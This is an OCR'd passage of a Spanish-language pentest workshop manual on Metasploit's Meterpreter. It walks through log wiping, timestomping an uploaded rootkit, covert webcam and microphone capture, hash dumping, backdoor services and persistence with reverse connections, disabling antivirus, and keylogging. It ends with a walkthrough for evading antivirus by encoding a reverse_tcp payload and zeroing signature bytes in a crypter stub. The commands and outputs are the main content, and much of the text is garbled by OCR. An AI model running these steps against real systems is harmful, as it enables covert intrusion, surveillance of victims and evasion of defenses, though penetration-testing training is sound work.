@InFormacién 17112010 23:41:08 vmware-converter-agent  Mingu
@InFormacién 17112010 23:41:01 Whlware NAT Service MingL
@Infurmacio’n 171112010 23:41:00 Whlware MAT Service Mg
@Informacic’nn 171112010 23:40:56 Whlweare Yirtual Mount ... Mingo
@Informacic’nn 171112010 23:40:35 AdeonaClientService Mirge
@Informacién 17111jz010 Z340:35 Chat Contraller Mirge
@Informacién 17112010 23:140:35 bkvadins MingL
&F\dvertencia 17112010 2313924 Usereny MingL
@Informacién 17j11j2010 23:132:40 EAPOL MingL
@Informacién 17j11j2010 23:132:40 EAPOL MingL
I:E;:’Inl’ormau:iu.‘un 17j11j2010 23:132:36 SecurityCenter MingL
@Informacién 17112010 23:32:36 VITare-converker-ser, Niﬁ_‘j
<] 5

Visor de sucesos

gerprint:
ted Target:

at 2010

Wiping

Wiping

Wiping 1 r
meterpreter

Borrado de los sucesos del sistema

o. Pé.954
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Timestomp

Nos puede interesar modificar las fechas de tbeefos que subamos para asi evitar ser
detectados en una intrusion, con timestomp tendm@®sibilidad de realizar dicha
modificacion.

Nuestro escenario representa un sistema remoteesidn de meterpreter creada, en la
que subimos un fichero (podria ser un rootkit).

Primero subiremos el fichero rootkit.exe cread0311/2011

Meterpreter > upload c:\\rootkit.exe c:\\rootkit.exe

uploade
meterpret ;

Subida de los fichero al sistema remoto

Comprobaremos la fecha de creacion de ficherozeeado una busqueda en el equipo
remoto

Meterpreter> pwd
Nos mostrar4 en que directorio estamos ubicados.
Meterpreter> cd \

Nos situamos en la raiz donde esta ubicado elrficipge hemos subido

o. Pé.955
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FRNEORFEROROOOROOR O

Atributos de los ficheros

Si escribimogimestomp rootkit.exe —v

ume Information

FRFEDORPP OO0 0P

Visualiza las propiedades de fecha del fichero

y comprobamos que esta creado, vemos tambiénegiste un fichero
prueba.txt con fecha 23/11/2010 y con el cual queseigualar la fecha.

Meterpretert> timestomp c:\\rootkit.exe —f c:\\prueba.txt

Fecha modificada

Como podemos comprobar nos ha cambiado la fechaotigt.exe por la de prueba.txt,

Si queremos complicar la situacion todavia mas eloparametro —b, pondremos la
fecha en un rango 01/01/1601.

o. Pé956
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Webcam

El médulo Webcams conectara la Webcam remota atrouesjuipo, asi
podemos ver quien esta conectado remotamente pagaeen el habitaculo donde esta
la camara.

Meterpreter >run webcam

I} MetasploitCursCAST.doc - Microsoft Word

rchivo  Edicin  Yer Insertar Formato  Heramientss Tabls  Ventara 7 cribs uns pregunta - x [P

- ) - 2 ()
RN WS RN WERES] /= C..a;chivos de programaMetasploitFramework3imsfTiwebcam,htm - Windows Internet Explorer l
9 3
Normal ~ Times Hew R
e i e Tiew oM Koy ey v @ citarchives de pro {Framewo amhtm x| [ 4| % | [cona Rl 4 l 4/
£ b [—— W o -
A w & @ . - B - o [Shrs ‘3 2 CPL
Eoaw @ c\brchivos de programaiietasplait|FramewarkaimsF (i = B - o= ~ :op Pégina ~ {C} Herramientas. =
o | Memoria
= - Disco
- Red
+
: e i
Lisker 4 Mi equips T 100% -

«Q»LL

;a@imd 1»]
Dhujar= g [Auoformass N W DO H o @l E S-Z-A-S=S5 @@L

Pig. 22 sec 1 22f24 A 73cm L 11 colo 1 T oS0b Espafiol(Es O _
Binicio| <o | Ey. | Bo. | Lo, Hwwm©|0O © 0 E«dsmed o 20ED oM o
Capturando imagenes por webcam

Opciones:
Webcam_list

Lista las Webcams disponibles
Webcam_Snap

Toma una instantanea de la Webcams seleccionada.

o. Pé.g57
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Sound_recorder

Podemos captura el audio del micr6fono con Soundiec, donde tan solo
debemos indicarle los intervalos de tiempo en saéggicon el parametro —i con los que
se producira la grabacion.

Meterpreter> run sound_recorder

-h menu ayuda
- i intervalos de tiempo de 30 segundos

m MetasploitCursCAST.doc - Microsoft Word

archivo Edicén  Yer Insertar Formato  Herramientas
DEHRS GRIVE B9
A4 Wormal + eark » Times NewRoman + 12+ ||N| &

& Reproductor multimedia ¥L.C Edicién Rexos. Heitanio
Qs - ) - (T | O visnts |2 carpetes # X ¥ @

Direccién () Cilarchivos de programaletasplaitFrameworkathome!Adinistradorl.msf3llogstsoundhecord| 92, 168.1.9900086

Memaria

| Carpetas X

ouk,000 Disco
- | 1.00x% 3 B LC media file {.oga) ned
: : Bl 7548

va

g W

o

und from built in

Dibwjar ~ ¢ | Autoformas~ N\ % 1O & A &3
Pag, 23 Sec, 1 23j25 A5Sm Ln 7 Col 1 [ E Espafiol (5 (O
#micio| [92E-| W] | B | @ |[Fb. j T ) B o« &gl

Grabacién de sonido del micro remoto
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get_application_list

Nos muestra las aplicaciones instaladas en el egeaipoto.

WebF1

meter

Aplicaciones instalada en el sistema remoto

o. PégSQ
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winenum

Con winenum tendremos un volcado del sistema cdradas dns, rutas, programas
instalados, hash de la sam, recursos compartuis alo grabado en la siguiente ruta

C:\Documents and Settings\Administrador\.msf4\logscripts\winenum\VICTIMA_20120322.2225

B vicTIMA_20120322.2225 _ O] x|
Archivo  Edicidn  Ver  Favoritos  Herramientas  Awuda ;,’
e Akras - _/ lj‘ 7 ) Busqueda Carpetas » (3 x m Elv
Direccidn |._.l j If7
Maornbre Tamafio | Tipo | Fecha de modificacidn |
[Z] arp__a.txt 1 KE Documento de texto 22032012 1022
r.?] cmd_exe__c_set.bxt 2KE Documento de texto 2zi03j2012 10:22
[Z] gpresult__SCOPE_COMPUTE. .. ZKE Documento de texto 220312012 10123
=| gpresult_ SCOPE_USER_ Z.bxt SKE Documento de texto Zzl0s2012 1023
Ej ipconfig__all kxt 1 KB Documento de texko 2zjozjz201z2 1022
[Z] ipcanfig__displaydns txt 4KE Documento de texto 220312012 10122
r.:=j net_accounts.txt 1 KB Documento de texta 2zi03j2012 10:22
@ nek_group.kxt 1 KB Documento de texko ZZ[03§2012 10:22
[Z] net_group_administrators, bt 1 KB Documento de texta Zzlosfz01z 1022
|‘§] net_localgroup kxk 1 KB Documento de texko 2zjozjz201z2 1022
[£] net_localgroup_administratar... 1 KB Documento de texto 220312012 10122
r.:=j net_session, bxt 1 KB Documento de texta 2zi03j2012 10:22
Ej net_share. bxt 1KE Documento de texko ZZlozj2012 1022
[Z] net_user kxt 1 KE Documento de texto 220312012 10122
|‘§] nek_wigw, bxt 1 KB Documento de texka Zzjo3j201z 1022
[Z] net_view__daomain.txt 1 KE Documento de texto 220312012 10122
r.:=j nietsh_firewall_shaw_config, bxt 9KE Documento de texto 2210302012 10:22
Ej nekstat_ nao.txk ZKE Documento de texko 2zjozjz201z2 1022
[Z] netstat__ns.kxt 3KE Documento de texto 22032012 1022
r.?] netskat_ wb.bxt 1 KB Documento de texta 2zi03j2012 10:22
@ route_prink, xk ZKE Documento de texto ZZ[03§2012 10:22
r.:=j tasklist__ swe bxk 3KE Documento de texto Zzlosfz01z 1022
r.?] WICTIMA_20120322, 2225, bt 1 KB Documento de kexko zZzi03jz01z 122
I@programs_list.csv 1KE Archivo de walores ... 22/03(2012 10:23
r.:=j hashdurmp. bxt 1 KB Documento de texta 22/0302012 10:23
@ tokens.bxt 1 KB Documento de texko ZZ/03§2012 10:23

Ficheros con los resultados del script winenum

o. PégﬁO
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Metsvc

Cuando hemos accedido por primera vez al sistenmaotog y nos
desconectamos de la sesion de meterpreter, quisamterese volver a conectarnos si
necesidad de volver a explotar la vulnerabilidahemos la posibilidad de crear un
servicio remoto con el cual poder volver a conextaicuando queramos.

Tengamos en cuenta que en el caso de que se tabdigatio en el equipo
remoto el firewall de Windows, tendremos que adlrpuerto:

Antes de desconectar la sesion inicial de metepegtcutamos lo siguiente:
Nos conectaremos por consola cmd ejecutaxe@gute —f cmd.exe —i —t

netsh firewall add portopening TCP 31337 [nombre]

f3/data/meterpreter rver_multihandler.dll

mst

Creando servicio de backdoor

Una vez creado el servicio remoto y abierto el fmuepodemos hacer un reboot del
sistema

Meterpreter > reboot

Y una vez reiniciado nos conectaremos medianiti/handler, seleccionando
el payloadWindows/metsvc_bind_tcpy configurandcel Iport a 31337e indicando el
equipo victima para volver a conectarnos

o. Pé.gﬁl
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Name Cur

proc none

Ejecucion
Si queremos desinstalar el servicio ejecutaremasiestra sesion de meterpreter:

Meterpreter> metsvc -r

Borrado del servicio remoto metsvc

o. PégGZ
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Persistence

Hemos visto la forma de asegurarnos la posterioexion con el equipo remoto a

posteriori de la primera sesion de meterpretermetsvc, pero hay un problema, que
pasa si el equipo remoto limita las conexionesaetds por el puerto configurado por
metasploit??, para solucionar este imprevisto,emsas una conexion inversa o lo que
es lo mismo, sera el equipo remoto quien se corgeotesotros , eso en el caso que el
firewall remoto no limite también las conexionediesdes cosa que en equipos de
escritorio no es muy comun.

Nos crearemos una sesion meterpreter con cualkexdoit que nos lo permita.

) = set rhost 192.168.1.80

T

andler on
ing th

Conrun persistente —hveremos las opciones a configurar:

-A Automaticamente inicia un handler para coneetam el agente.
-U Intento de conexion cuando el usuario iniciadaion

-X Intento de conexion cuando el usuario iniciaisiema

-h ayuda

-i <num> numero en segundos de reintentos de gamex

-p <num> puerto local a la escucha para recibiolaEexion

-r <num> ip a la que conectara el agente (nuegjra i

Con las opciones ejecutaremos lo siguiente:

Meterpreter> run persistente —A —U —X —i 300 —p 444—r 192.168.1.59

o. Pé.963
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handler o .
ing the tar

artin
119

pt ITHDD
with PID 14

Ejecucion del script persistence

Todo correcto ahora en el proximo inicio de sesidiel sistema dejaremos en
escucha por el puerto 4444 el handler de conex@mmprobaremos si nos conectamos.

none

ploit

handler on

Multi handler a la espera de la conexién remota

Ya han pasado 5 minutos y el resultado es el siggli&INGO

proce none

ploit

handler on 19

Conexion a nuestro equipo de la sesion de meterpeet

Bien ahora lo que nos interesa es eliminar elgagtrpersistence, para ello haremos lo
siguiente:

o. Pé964
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@ VICTIMA_20101229.5003 BEE

Archiva  Edicion  Yer Favoritos  Herramientas  Avuda |$

Qus-©Q - ¥ % 3 X 9 |-

Direccion IE] ChArchivos de programaliMetasploitiFramework3ihomel Administradort,. msf3Yogsiscriptsi persistencelWICTIMA_20101229.5003 j Ir

WICTIMA_20101229,5003 rC
Plantilla de recursos
1 KB

( o
@) =
7 Eiisqueda H =] Carpetas

Meterpreter >run multi_console_command — rc
/home/Administrador/.msf3/logs/persistente/--------

O lo que viene a ser lo mismo borrar el ficheroegado y la clave del registro creada
enrun y el fichero erc:\windows\temp.

O P&g65
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Shell

Meterpreter > shell ]

Con el comando shell meterpreter nos retorna unsaot® de sistema, pudiendo
ejecutar comandos del sistema remoto, con

3 at 2010-11-1% 23:19:32 +0100

a local

ica DNS :

erminada

CNWINDO

Shell remota

Exit volveremos a la consola meterpreter

o. Pég66
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Con el comando execute también podemos ejecutacamsola remota de la
siguiente manera:

Meterpreter > execute —f cmd.exe —i -t 1

in a
ute p with

ute - cmd -i -t

Comando execute

o. Pé.gﬁ?
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Upload

La finalidad de upload consiste en poder subireiiob del equipo remoto

Meterpreter > upload c:\\prueba.txt c:\\prueba.txt

Observen que la contrabarra se repite.

= IE PassView - Pagssword Manager Program for Internet Explorer - Windows Internet Explorer

o - 5 -
@ LT e B viindows#pSP3 - Microsoft Virtual PC 2007 BHEE
» & -

T &2 I Rassiiew - Pa 2 >

arigntas -

Archivo  Edicion  Ver Favoritos  Herramientas  Ayuda

@ntrés 2l D [ ‘ﬁ_f ‘ /7‘Eﬂsaueda || Carpetas

Direccidn [<e Ci|

Carpatas
———— I Tamario | Tipa
B Escrltork OKB Documentodetextn 231172010
o ‘Ij' nspi“”m"ms sys 786,432 KD Archivo desistema  22/11/201C
o 246KB trchivodesistema  21/05/201C
i 3 servidor. exe 24KB  Aplicacidn 08/10/2007
boot.ini LKE Opciones de config...  23/08/2007

ch file or direct

find the path

find the path

3 Menii T

5 tpres | tnicie| [Cpmcolocal ©)
- <0k 2

- H - Translated By — H! Date ” Version "
|| T S I I

@
& iicio| | 1. @ E j wsvon D @ @ © @
Subida de fichero

o. Pé1968
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Download

Podemos descargar del sistema remota ficherossérauaquina local

Meterpreter > download c:\\prueba.txt c:\\prueka.tx 1

t

B bash HEE
ETE Orueba. | =1

t
tem cannot find the path specified.
t

em cannot find the path specified.

Descarga ficheros

o. Pég69
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El registro de Windows es el centro de nuestr@msiat su manipulaciéon puede
dejar sin acceso a este, por lo que esta seccyoguramedirla con precaucion.

Un ejemplo de consulta al registro, seria compraas equipo remoto tiene
activado el firewall.

reg queryval -k
HKLMW\SYSTEM\CurrentControlSet\\Services\\Shared¢ass\\Parameters\\FirewallP
olicy\\StandardProfile -v EnableFirewall

Consulta valor de Registro

El registro nos muestra muchos datos interesaote$os que podemos trabajar
os dejo algunos de los valores que pueden serites. Ut

Estado del Firewall

HKEY_LOCAL_MACHINE
\SYSTEM\CurrentControlSet\Services\SharedAccess\Pameters\FirewallPolicy\Standar
dProfile\EnableFirewall

C Pag70
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killav

Este plugin desactiva los médulos antivirus deigmuoemoto

SCr

k1Tl

sAces an the target...

Comando killav

Om Pag71
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Enum_shares

Aqui podremos enumerar todos los recursos compartldl sistema remoto.

Name: print$

* Laserdet 3100 Series PS,Localsplonly

red in Run Dialog found:

Recursos compartidos

Om Pag72
Bernabé Mufioz (bmm@reus.tinet.org)




TALLER AUDITORIA'Y PENTEST 2012

Service_manager

Con Service_manager tendremos la posibilidad déoges todos los servicios del
equipo remoto

Gestion de servicios Windows

Podemos usar los métodos post en una sesion negegrpara obtener muchisima
informacion.

Development - Metasploit Console

File Edit View Help

Ready 37x146

C Pag73
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vinc

Con Vnc podemos ver graficamente todos los movitagedel equipo victima.
Nos devuelve una sesion grafica del equipo remoto.

evelopment etasploit Console

File Edit View Help

uzally)

d manually)

142117

Pag74
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Screen_unlock

Cuando la sesion del equipo remoto esta bloqueaslparmite deshabilitar el bloqueo.

== Development - Metasploit Console !. m

File Edit View Help

3).'" found in known targets

Ready S5x107

C Pag75
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La lista de scripts en meterpreter en bastantealayg se actualizan
constantemente afadiendo nuevas funcionalidades,Ilgpaue os animo a que
descubrais todo el poder de la consola, os mukestroicacion de todos ellos.

' meterpreter EEE
| Archivo  Edicion  Ver Favoritos  Herramientas  Ayuda | v
. @ Akras = <) 'ﬁ' . ..f | Biisqueda iE. -~ Carpetas
Direccion ] | Cmetasploitimsf A scriptsirmeter preter
Mombre = ] Tamnario ] Tipa .
| svn Carpeta de archivos 2210312012 9:04
@ arp_scannet.tb 3KE  ArchivoRE 22I02/2012 16:18
autoroute.rb 6 KB Archivo RB Z2I0z/2012 16:18
checkym.rb 9 KE Archivo RE Zzioziz01z 16:15
@ credcollect.rb 3KE ArchivoRE Zzi0ziz01z 16:15
domain_list_gen.rb 4KE Archivo RE Zzi0ziz012 16:15
@ dumplinks.rb 12KB  Archivo RE 2zi0zi2012 16:15
duplicate.rb S KB Archivo RE 2z2i02/2012 16:18
@ enum_chrome.rb 3KB ArchivoRB 14/03/2012 1:13
| enum_Firefox.rb 10KE  Archivo RE 14/03/2012 1:13
enum_logged_on_users.rb 3KE Archivo RB Z2I0z/2012 16:18
enurm_powershell_env.rb SKE Archivo RE Zzioziz01z 16:15
@ enurm_pukky.rh 4KE Archivo RE Zzi0ziz01z 16:15
enum_shares.rb 4KE Archivo RE Zzi0ziz012 16:15
@ Enum_trware.rb 13KB  Archivo RE 2zi0zi2012 16:15
event_managet b 7KE  Archivo RE 22/02/2012 16:18 B
@ file_collector.rb 3KBE Archivo RB 2210212012 16:18
@ get_application_list.rb 2KB  Archivo RBE 22I02/2012 16:18
get_enw.rb ZKB ArchivoRB Z2I0z/2012 16:18
get_filezilla_creds.rb 6 KE Archivo RE Zzioziz01z 16:15
@ gek_local_subnets.rb 1KE Archivo RE Zzi0ziz01z 16:15
get_pidain_creds.rb TKE Archivo RE Zzi0ziz012 16:15
@ gek_walid_community, rb ZKE Archivo RE 2zi0zi2012 16:15
getcountermeasure.rh 3KE Archivo RE 2z2i02/2012 16:18
@ getgui.rb 6 KB Archivo RB 2210212012 16:18
@ gettelnet.rb 6 KB  Archivo RE 22I02/2012 16:18
getvncpy.rb 3KE Archivo RB Z2I0z/2012 16:18
hashdump.rb dKE Archivo RE Zzioziz01z 16:15
@ hostsedit. b 4KE Archivo RE Zzi0ziz01z 16:15
kevlogrecorder,rb SKE Archivo RE 14/03/2012 1:13
@ killaw.rb 9KE Archivo RE 2zi0zi2012 16:15
metsye.rh 3KE Archivo RE 14j03/2012 1:13
e reie abe b 2KR  Archivn RR 2NN 2 AR _v.]

Scripts para Meterpreter

C:\metasploit\msf3\scripts\meterpreter.

0
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En las ultimas versiones de metasploit la form&jeanutar los plugins ha cambiado un
poco permitiendo ejecutar estos en varias sesioregdas de meterpreter pudiendo
interactuar con ellas.

Meterpreter : post ]

Si ejecutamos el comando show post, nos mostrandlligins disponibles para ejecutar
en una sesion de meterpreter en segundo plano.

= Development - Metasploit Console BEB

File Edit ‘¥ew Help

-e@s hbh ee

Ready 32152

Seleccionaremos el que nos interese, en nuestro pas saber los recursos
compartidos de la maquina remota.

Msf> use Windows/gather/enum_shares
Seguidamente con show options nos mostrara lasmgxique tenemos y una de ellas

es el parametro session donde le indicaremos etrude sesion que tenemos abierta
con meterpreter

= Development - Metasploit Console BEB

File Edit ‘¥ew Help

the Run Dialog

Ready 13x152

Definimos el pardmetro con set session 1 (numeta desion meterpreter obtenida con
sessions —l) y ejecutamos con el parametro run

Om Pag77
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== Development - Metasploit Console

File Edt Wew Help

D

EM @ VICTINAL 192.

Ready 22x152

Nos devuelve los recursos compartidos de la sésidada.

C Pag78
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Os adjunto un pequefio mapa de ejecucion .

As a Metasploit Exploit Payload (bind_tcp) for bind shell or (reverse_tcp) for reverse shell

As Standalone binary to be uploaded and executed on the target system:

/msfpayload windows/meterpreter/bind_tcp LPORT=443 X > meterpreter.exe (Bind Shell)
/msfcli exploit/multi/handler PAYLOAD=windows/meterpeter/bind_tcp LPORT=443 RHOST=<IP>

/msfpayload wndows/meterpreter/reverse_tcp RHOST=<IP> RPORT=443 X > meterpreter.exe
' (Reverse Shell)

/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LPORT=443 E

‘ meterpreter> background meterpreter> use <library>

Puts the Meterpreter session in background mode. Permits loading extra meterpreter functionalities with the
Session could be recovered typing following loadable libraries:
' sessions —| ( to identify session ID)
sessions —i <Session 1D> espia Allows Desktop spying through
screenshots

meterpreter> irb incognito Allows user impersonation sort
Opens meterpreter scripting menu ohcormmands
priv Allows filesystem and hash

dumping commands

[ sniffer Allows network sniffing
interaction commands

meterpreter> getwd meterpreter> sysinfo
Obtain current working directory on Server's Side Provides information about target host

meterpreter> getlwd

meterpreter> getuid
Obtain local current working directory eterp g

Obtain the username responsible for the
meterpreter> del <file> current process

Deletes the given file meterpreter> kill <pid>

meterpreter> cat <file> meterpreter> edit <file> Kill the given process identified by PID

i i Edit the given file
Read the given file g meterpreter> ps

meterpreter> upload <src file> <dst file> List all running processes
Upload a file to the target host meterpreter> shell

meterpreter> download <src file> <dst file> Obtain interactive windows OS Shell

Download a file from the target host

meterpreter> reg <Command> [Options]

meterpreter> idletime

Displays how much time the user is inactive

meterpreter> keyscan_start
Starts recording user key typing
meterpreter>keyscan_dump
Dumps the user’s key strokes
meterpreter> keyscan_stop

Stops recording user typing

meterpreter> run <script>

Permits the execution of ruby selfdeveloped meterpreter
scripts such

checkvm killav

credcollect metsve
get_local_subnets migrate
getcountermeasure netenum

getgui prefetchtool
gettelnet vnc_oneport / vnc
hashdump sheduleme
keylogrecorder winenum

meterpreter> execute —f file [Options]
Execute the given “file” on the OS target host.
Options:

-H Create the process hidden from view

-a Arguments to pass to the command
-iInteract with the process after creating it

-m Execute from memmory

-t Execute process with currently impersonated
thread token

meterpreter> clearav

Clears and secure removes event logs

meterpreter> steal_token

Attemps to steal an impersonation token from
the target process

Interact with the target OS Windows Registry using the following options and commands:

meterpreter> portfwd commands

Establish  port forwarding connections through enumkey Enumerate the supplied registry key

Options:
-d Data to store in the registry value

meterpreter tunnels: createkey / deletekey Create/deleted the supplied registry key -k The registry key

Options: setval / queryval Set/query values from the supplied registry key -v The registry value name

-L Local host to listen on

-l Local port to listen on p ”
meterpreter> ipconfig

P Remote port to connect to Displays network interfaces information

-r  Remote host to connect to

Cheat Sheet Meterpreter

meterpreter> route

View and modify networking routing table

0
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Mi Meterpreter se hace invisible

Me surgieron varias dudas sobre los metodos dedevds los antivirus y la facilidad
de estos a detectar meterpreter aun encodeabdwab con x86/shikata_ga_nai.

Antes de empezar las pruebas de concepto quiean dejfo que no tengo nada en
contra de los productos antivirus, sind al contradreo que hacen su funcion de
protegernos. No tengo especial rechazo hacia nifgdmcante y las pruebas las he
hecho sobre uno que me ha parecido el que hoy @prebta mas en uso por su
gratuidad en la versién home.

Dicho esto empiezo mi historia leyendo un artic@gdbre un analisis de Antivirus.

Seguridad
avasig' Free Antwurus 6
2O
s
OJDL)] @

. ana por goleada, con un 31 por
ciento de los votos, este antivi-
rus gratuito, que ha ido suman-

do posiciones con las sucesivas reno-
vaciones de sus versiones. La sexta
edicién conserva lo mejor de las ante-
riores (elevados niveles de proteccion,
reducido consumo de recursos, inter-
faz configurable y versatil) y afade
funcionalidades, como la apertura de
archivos sospechosos en un entorno
estanco, la extension para Explorer y
Firefox que otorga niveles de reputa-
cién a webs o el blogueo de URLs.

FINALISTA: Kaspersky |. Security 2011
Mas simplificada y con un entorno mi-
nimalista, esta suite comercial de se-
guridad sigue haciendo casi pleno a la
hora de detectar troyanos, exploits y
sitios de phishing.

“elevados niveles de proteccion” , con eso me quedupliiero ver cuanto de hay de
verdadero en ese parrafo.

o. Pé_980
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Me pongo manos a la obra y empezaré con mi quengtasploit, voy a crearme un
payload con meterpreter y voy a encodearco conskB@ta ga nai para que el
antivirus no lo detecte??

Ruby msfvenom —payload windows/meterpreter/revécpe —format exe —encoder
x86/shikata_ga_nai —iterations 10 Ihost 192.168.%.5:\meterencoder.exe

= Metasploit [_ [ ]

Fle Edt Wew Help

3-@m DD 0@

Ready 17x143

Seguidamente me aseguraré que nuestro Antiviresagstializado correctamente a la
fecha asi como sus firmas.

P svups A oPCIONES | 4F ACTUALIZAR

Estacio actual

SEGURO

El sistemna esta totalmente protegido.

Estadisticas

Ocultar Dietalles s

Escudos en tiempo real:

Actuslizaciones autométicas de la base de datos de virus:
Wersion de |a base de datos de virus:

“ersidn del programa:

Fecha e caducidac:

L MODO SILEMCIOSOVDE JUEGD, DESACTIVADO Activar

avast! desplegard mensajes, vertanas emergentes, alertas v sonidos cuando sea necesario. Pero, =i una aplicacidn = estd
ejecutando s pantalla completa, no hars nada.

-

Cambisr configuraciin

i I_nil:il:ll I@ avastl Free Antivirus | « (W 943

Bien probaremos, pasaremos nuestro payload ponteirus para comprobar que este
no lo detecta

o. Pé.g81
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indetects

MALWARE BLOQUEADO

ado Luns amenaza.

botZINDETE. ..

:'an'iciu'|

e [Py qmas

Como podemos observar el antivirus cumple su cametietecta nuestro payload, lo
cual me demuestra que nuestro encoder ya no singgi@ nuestro fabricante ha hecho
su trabajo y ha generado una firma para ese paypeao aun hay esperanza.

Nuestro objetivo serd modificar la firma del paylqgaara que no sea detectado, existen
multitud de técnicas sobre como modificar estasds, peré me centraré Unicamente en
modificar la firma, peré no de nuestro payload ya gosiblemente si modifico dicha
firma, el binario no sea funcional, sindé que madifé la firma de un crypter, para luego
pasarselo a nuestro payload.

Para generar las firmas, los antivirus, puederutzlel MD5 del payload para generar
la firma o desempacar el binario para comprobar muesta unido a otro binaro o
cifrado para detertimar el tipo de crypter, tambjreden generar firmas con los
metadados del fichero.

Rebuscando en el baul del olvido me encuentro concrypter, que tiene la
caracteristica de poder extraer el stub del mismesanger otro, lo cual me va de
perillas para mi prueba de concepto.

o. Pé982
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T

Crypter | About |

ICrypt
File ta Crypt :I [ . |

—File Option
FileSize ; --------

[~ File Contains EQF Settings

—Stub Dption
| Extract Generic Stub |

| Uze personal 5tub |

[ 0% | [ Buid |

Evidentemente si se lo paso a avast me indicayjloesite:

TROYANO BLOQUEADO

N& aMenaza.

botZINDETE. ..

Bien, como funciona un crypter.

Un crypter tiene la funcion de mediante un algositnatematico cifrar un fichero para
evitar ser detectado.

Un crypter se compone de dos partes, el cliertstub

Definiriamos como cliente la interfaz por dondeeseionamos el fichero a cifrar y las
opciones que este nos porporcione.

El stub es el filtro mediante el cual pasa el fiohe

Nuestro cryter en concreto no permite usar us ettérno, jo he preferido modificar la
firma del stub que trae y trabajar sobre el, emmeeza por ahi, extraeré el stub del
icrypt y lo ire trozeando hasta encontrar la firmamo?, pues usaré un programa

O P4g83
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llamado signaturezero que nos permite rellenar de O porciones de fichma ir
detectando en que posicién de memoria esta la fjumanuestro antivirus genera.

Es stub Options, extraemos el stub en una carpefaaisamos el signaturezero.

SignatureZero - [ STUBGENERIC.EXE ] !
| Firmas
Desde | 7091 = hasta: |15395 Rellenar conO's |

Abrir archivo

Buscar firmas

B
-

" En todo el archivo
(+ Entre log marcadares

a
Crear archivos | taztrar firnas |

Guardar archivo Deshacer Cambios |

Probar deteccion

Fara esta opcion debes activar la proteccion en tiempo real de tu antivinus

Frobar

Intentar Buscar

Firnas:
A =
Leyenda Opciones q
[l Cabezera PE i+ Decimal  Hexadecimal B carEres o O | L
B Farte original Ditectorio donde guardar las partes temporales: | Cambiar Dir 2
B Parte rellena de 0's |EZ"\|EI_'.J|IIt 1.0MCrypt 1.05Temp!, I J
[ Mi&y permite excluir el directorio de SignatureZero Salvar a txt | Borrar |

He encontrado en la posicion 12420 la firma quedlatel antivirus.

Acto seguido abriremos el stub con un editor hesiati y nos situamos en la posicion
12420,

H Hex Workshop - [STUBGENERIC.EXE] [-]

File Edt Disk Options Tods ‘indow Help
[=R=N == ¥ @ | m@ BSLOFD|BE| D

w D KR ER A | &+ - o= s g D] AT Al o E

00012420
00012456
00012432
00012528
00012564
00012600
00012636
00012672
00012708
00012744
00012780
00012816
00012852
00012888
00012924
00012960
00012996
00013032
00013068
00013104
00013140
00013176
00013212
00013248

"B sTUBGENE

FFEF
aonoo
anon
aooo
aooo
aooo
aonoo

0800
oono
0ano
o000
o000
oooo
oono

oooo
o0ooo
0000
oooo
oooo
oooo
o0ooo
0000
oooo
oooo
oooo
4000
DBD3
T26F
4546
oooo
o0ooo
0000
oooo
oooo
oooo
o0ooo
0000
oooo

7BeF
aonoo
aonon
aooo
aooo
aooo
aonoo

7472
[ululuj]
0ano
o000
o000
oooo
[ululuj]
0ano
o000
o000
oooo
4000
CADC
2020
FFFF
oooo
[ululuj]
0ano
o000
o000
oooo
[ululuj]
0ano
o000

6563
oooo
0000
oooo
oooo
oooo
oooo
0000
oooo
oooo
oooo
o0ooo
DDDE
2020
oooo
oooo
oooo
0000
oooo
oooo
oooo
oooo
0000
oooo

6L
aonoo
anon
aooo
aooo
aooo
aonoo
anon
aooo
aooo
aooo
aonon
DFED
6174
aooo
aooo
aonoo
anon
aooo
aooo
aooo
aonoo
anon
aooo

oooo
oono
0ano
o000
o000
oooo
oono
0ano
o000
o000
oooo
0000
E1E3
2030
o000
oooo
oono
0ano
o000
o000
oooo
oono
0ano
o000

oooo
o0ooo
0000
oooo
oooo
oooo
o0ooo

aooo
aonoo
aonon
aooo
aooo
aooo
aonoo
aonon
aooo
aooo
aooo
741E
ES8D
3030
aooo
aooo
aonoo
aonon
aooo
aooo
aooo
aonoo
aonon
aooo

oooo
[ululuj]
0ano
o000
o000
oooo
[ululuj]
0ano
o000
o000
oooo
o010
4000
3030
o000
oooo
[ululuj]
0ano
o000
o000
oooo
[ululuj]
0ano
o000

oooo
oooo
0000
oooo
oooo
oooo
oooo
0000
oooo
oooo
oooo
0420
4572
3000
oooo
oooo
oooo
0000
oooo
oooo
oooo
oooo
0000
oooo

Qooo0 oooo
aopo oooo
aonpo oooo
oooo 0ooo
oooo 0ooo
Qooo0 oooo
aopo oooo
aonpo oooo
oooo 0ooo
oooo 0ooo
Qo000 028D
o010 8423
726F 7200
BBCO 3031
oooo 0ooo
Qooo0 oooo
aopo oooo
aonpo oooo
oooo 0ooo
oooo 0ooo
Qooo0 oooo
aopo oooo
aonpo oooo
oooo 0ooo

FEFF
0000
0000
oooo
oooo
0000
0000
0000
oooo
oooo
0000
008D
©9n7
696D
3839
0000
0000
0000
oooo
oooo
0000
0000
0000
oooo

0000 o000
0000 0000
0000 0000
0000 0ooo
0000 0ooo
0000 o000
0000 0000
0000 0000
0000 0ooo
0000 0ooo
4000 3213
0010 00CE
8BCO 5275
3233 3435
0000 0ooo
0000 o000
0000 0000
0000 0000
0000 0ooo
0000 0ooo
0000 o000
0000 0000
0000 0000
0000 0ooo

oooo
oooo
0000
o000
o000
oooo
oooo
0000 | ..
o000 ..
o000
gBCO
cecs
BE74|..
3637 |ime
o000
oooo
oooo | ..
0000 | ..
o000 ..
o000 ..
ooo|..
oooo | ..
0000 | ..

votrecle

.Error...Runt
at 00000000...01234567

error
BOABCDEF ...............

X[compars Resus

4l

ﬁ fFset: 12420 [0x00003084]

381 Sigried Byte
88T Unsigned Byte
1581 Signed Short
158 Unsigrid Short
3281 signed Long
3281 Unsigned Long
S48 Signed Quad
48T Unsigned Quad
32T Float
S48 Double

', Data Inspector

Jumped to position 000003034 (12420)

E = Source Count

255
65535

4294967295
38654705663
IBES4T05663
-LEQNAN
1.90979625-313

[N

Target:

Caunt

Structre Viewer \Compare /i Checksum Jy Find J, Bockmarks

Offset: 12420

::I MSYDM DB@ o9

Value: -1

16896 bytes OWR.

0
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modificamos rellenando de 0 las cuatro primerasH;-féguardamos y comprobamos
la deteccion.

H Hex workshop - [STUBGENERICIH
Fie Edit Disk Options Tools Window Help = x|

F2SHE teRoc v @ (B0 EE(E]- )
Sca»E2ER . sy - =z Wb|aap [BEY % EE

